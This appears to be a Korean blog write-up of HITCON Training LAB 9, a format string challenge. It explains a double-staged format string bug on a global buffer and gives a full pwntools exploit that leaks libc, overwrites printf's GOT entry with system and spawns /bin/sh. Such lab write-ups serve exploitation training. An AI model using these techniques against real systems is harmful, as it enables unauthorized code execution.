tmxklab

hitcon training [LAB 9] 본문

War Game/hitcon training

hitcon training [LAB 9]

tmxk4221 2020. 7. 21. 01:37

1. 문제

 

1) mitigation확인

 

2) 문제 확인

입력한 값을 다시 에코한다.

 

3) 코드흐름 파악

3-1) main함수

int __cdecl main(int argc, const char **argv, const char **envp)
{
  setvbuf(stdout, 0, 2, 0);
  return play();
}

 

3-2) play함수

int play()
{
  puts("=====================");
  puts("  Magic echo Server");
  puts("=====================");
  return do_fmt();
}

 

3-3) do_fmt함수

int do_fmt()
{
  int result; // eax

  while ( 1 )
  {
    read(0, buf, 0xC8u);
    result = strncmp(buf, "quit", 4u);
    if ( !result )
      break;
    printf(buf);
  }
  return result;
}
  • buf에 "quit"문자열을 넣기 전까지 무한 루프

  • printf(buf)에서 FSB취약점 발생

  • 주의할 점은 buf변수가 bss영역에 존재(전역 변수)

 


2. 접근 방법

 

다른 FSB문제와 달리 printf(buf)에서 buf변수가 스택에 존재하지 않고 전역 변수이므로 조금 골치아프다.

이전 FSB관련 문제에서는 변수가 스택에 존재하므로 어떤 주소에 어떤 값을 쓸 때

 

"[ 주소 값 ]" + "%[ 어떤 값 ]c" + "%[ 스택에 존재하는 변수 위치 ]$n"

 

이런 식으로 진행했을 것이다.

 

하지만, 변수가 스택에 존재하지 않는 전역 변수이므로 위 방법을 그대로 적용하기는 힘들다.

따라서, 이번 문제는 Double Staged FSB방식을 이용하여 문제를 풀기로 한다.

 

참고 사이트 : 

 

16. Format String Bug

이번엔 Format String Bug를 정리하고자 한다. ​FSB로 할 수 있는 것- 원하는 주소에 원하는 값을 ...

blog.naver.com

 

공격 프로세스)

  • 스택 상에 존재하는 stdout을 leak하여 base address를 구한다.

  • base address를 통해 system()와 printf()의 주소 값을 구한다. (추가로 printf_got도 찾자)

  • stack주소를 가리키는 stack에 존재하는 위치(?)를 2개 찾는다.(여기서 스택에 존재하는 A, B, C, D가 있을 때 A → C, B → D 이런 식으로 가리킨다고 하자)

  • FSB를 이용하여 A에 printf_got+0, B에 printf_got+2를 저장한다. (실제로 A와 B는 C와 D를 가리키므로 C와 D에 printf_got+0, printf_got+2가 저장된다.)

  • 스택에 저장된 printf_got+0(C), printf_got+2(D)에 system함수의 address를 나눠서 저장(printf_got+0 → system_low_address / printf_got+2 → system_high_address)

  • GOT Overwrite과 끝나면 printf함수를 호출할 때 system함수를 호출하게 되므로 printf(buf)가 아니라 system(buf)가 될 것이다.

  • 이제 buf에 "/bin/sh"문자열을 넘겨주자

 

 


3. 풀이

 

1) stdout 주소 값 leak 

 

library에서 stdout offset 구할 때 주의할 점)

  • libc = ELF("libc path")

  • (x) stdout_offset = libc.symbols['stdout']

  • (o) stdout_offset = libc.symbols['_IO_2_1_stdout']

  • 참고 사이트 

 

pwntools를 이용해서 libc에서 함수 및 stdin,stdout 오프셋구하기

lib = ELF("라이브러리") lib.symbols['함수명'] 으로 offset값을 얻어올 수 있다. 여기서 stdout이나 stdin의 offset을 구할때 그냥 lib.symbols['stdout']이나 lib.symbols['stdin']으로 해서 offset을 구해서 s..

xerxes-break.tistory.com

 

 

2) 스택에 존재하며 스택 공간을 가리키는 위치 찾기(말이 이상한가?)

  • 0xffffcfa8 -> %6$n

  • 0xffffcfc4 -> %13$n

 

3) 익스 코드

from pwn import *

context.log_level = "debug"

p = process("./playfmt")
e = ELF("./playfmt")
libc = ELF("/lib/i386-linux-gnu/libc-2.23.so")
#gdb.attach(p)

system_offset = libc.symbols['system']
stdout_offset = libc.symbols['_IO_2_1_stdout_']
printf_offset = libc.symbols['printf']
printf_got = e.got['printf']

# 1. leak stdout addr
p.recvuntil("\n")
p.recvuntil("\n")
p.recvuntil("\n")
p.sendline("%8$p")

leak_stdout = int(p.recv(10), 16)
base_addr = leak_stdout - stdout_offset
system_addr = base_addr + system_offset
printf_addr = base_addr +printf_offset

system_low = system_addr & 0xffff
system_high = (system_addr>>16) & 0xffff

log.info("system addr  : " + hex(system_addr))
log.info("printf addr  : " + hex(printf_addr))
log.info("printf got   : " + hex(printf_got))
log.info("system_low   : " + hex(system_low))
log.info("system_high  : " + hex(system_high))

# 2. Insert printf_got+0, printf_got+2 (stack)
payload = "%" + str(printf_got) + "c" + "%6$n" + "%2c" + "%13$n"
p.sendlineafter("\n", payload)

# 3. Insert system_low, system_high
payload = "%" + str(system_low) + "c%10$hn" + "%" + str(system_high - system_low) + "c%20$hn"
p.sendlineafter("\n", payload)

# 4. printf(buf) -> system("/bin/sh\x00")
p.sendlineafter("\n", "/bin/sh\x00")

p.interactive()

 

4) 실행 결과

'War Game > hitcon training' 카테고리의 다른 글

hitcon training [LAB 11]  (0) 2020.07.25
hitcon training [LAB 10]  (0) 2020.07.21
hitcon training [LAB 8]  (0) 2020.07.19
hitcon training [LAB 7]  (0) 2020.07.19
hitcon training [LAB 6]  (0) 2020.07.19
Comments